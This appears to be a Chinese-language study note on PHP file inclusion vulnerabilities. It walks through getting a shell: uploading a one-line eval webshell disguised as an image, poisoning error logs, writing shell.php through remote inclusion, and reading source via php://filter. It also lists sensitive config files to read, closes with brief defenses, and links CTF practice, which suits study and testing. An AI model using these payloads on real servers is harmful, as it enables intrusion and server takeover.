文件包含漏洞

讲一句话木马的文件 嵌入到另一个文件中,这个文件可以是图片,可以是文本

文件包含函数(php)

include

require

include_once

require_once

漏洞整体的分类 

  本地文件包含

  远程文件包含漏洞

常见敏感文件

unix/linux 

  /etc/passwd 

      /usr/local/app/apache2/conf/httpd.conf   apache2默认配置文件

  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf  虚拟网站设置

  /etc/my.cnf mysql的配置文件 

凯撒加密

文件包含与文件上传合集

      

已知:此处是一个文件包含漏洞,

              

  此处有一个文件上传漏洞

  1. 先从此处上传一个后缀名为图片格式的文件,此文件是php一句话木马修改后缀名得到的 
  2. 上传成功后会得到一个文件路径 :uploads/alert.png 意思是位于此文件夹下的uploads文件夹里
  3. 返回文件包含漏洞的链接,将后面的flag替换为上面的 uploads/alert.png 转到没有报错 
  4. 将此链接复制到菜刀里 ,连接成功!

            

http://xxxxxxx/?id=1   没有显示在哪个页面 一般可以还原为 http://xxxxxxxx/index.php?id=1 或者http://xxxxxxxxxxx/index.html?id=1

利用错误日志进行测试

首先构造一句话木马

http://xxxxx/<?php eval($_POST[value])?> 

由于浏览器解析的时候 会将特殊字符转义为URL编码 

GET 头部 修改为 <?php eval($_POST[value])?>,然后放包

发现页面报错,由此可判断 错误日志中已经有了这个木马,

找到日志的路径(路径先测试默认的 默认的不行就猜,或者利用phpinfo();查看各种配置信息)

远程文件包含 getshell

  条件 : allow_url_include = on 

  <?php eval($_POST[value])?>

远程文件包含自己写shell

fputs(x,y),fopen(x,y)

<?php

fputs(fopen("shell.php",w),"<?php eval($_POST[value])?>")  //这句话的意思是 在当前目录下 将<?php eval($_POST[value])?>这段代码 写入到shell.php这个文件中,若没有这个文件就先新建。

?>

将上面的一段代码复制到一个php文件中,放在自己的服务器上,利用目标服务器存在的远程文件包含漏洞,将此文件包含进去,目标服务器就会执行里面的代码,新建一个一句话木马文件,然后到shell这个文件的路径下 执行这个文件。

http://127.0.0.1:98/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 

将main.php的源码利用base64编码方式显现出来,获得一串字符串 将字符串选中 在hackbar中 找到 Encoding => Base64 Decode 点击 即可得到源码,main.php可以是任意php文件

system()里面的参数是系统命令

当然也可以这样做 页面会提示错误,但是查找目录会找到对应的文件。

如何防御呢?

1.allow_url_include=off

2.严格判断包含的参数是否外部可控

3.路径限制,限制被包含的文件只能在一个文件夹中,

....

附带一个练习题目的链接:http://ctf.bugku.com/challenges

原文地址:https://www.cnblogs.com/Abelte/p/8933088.html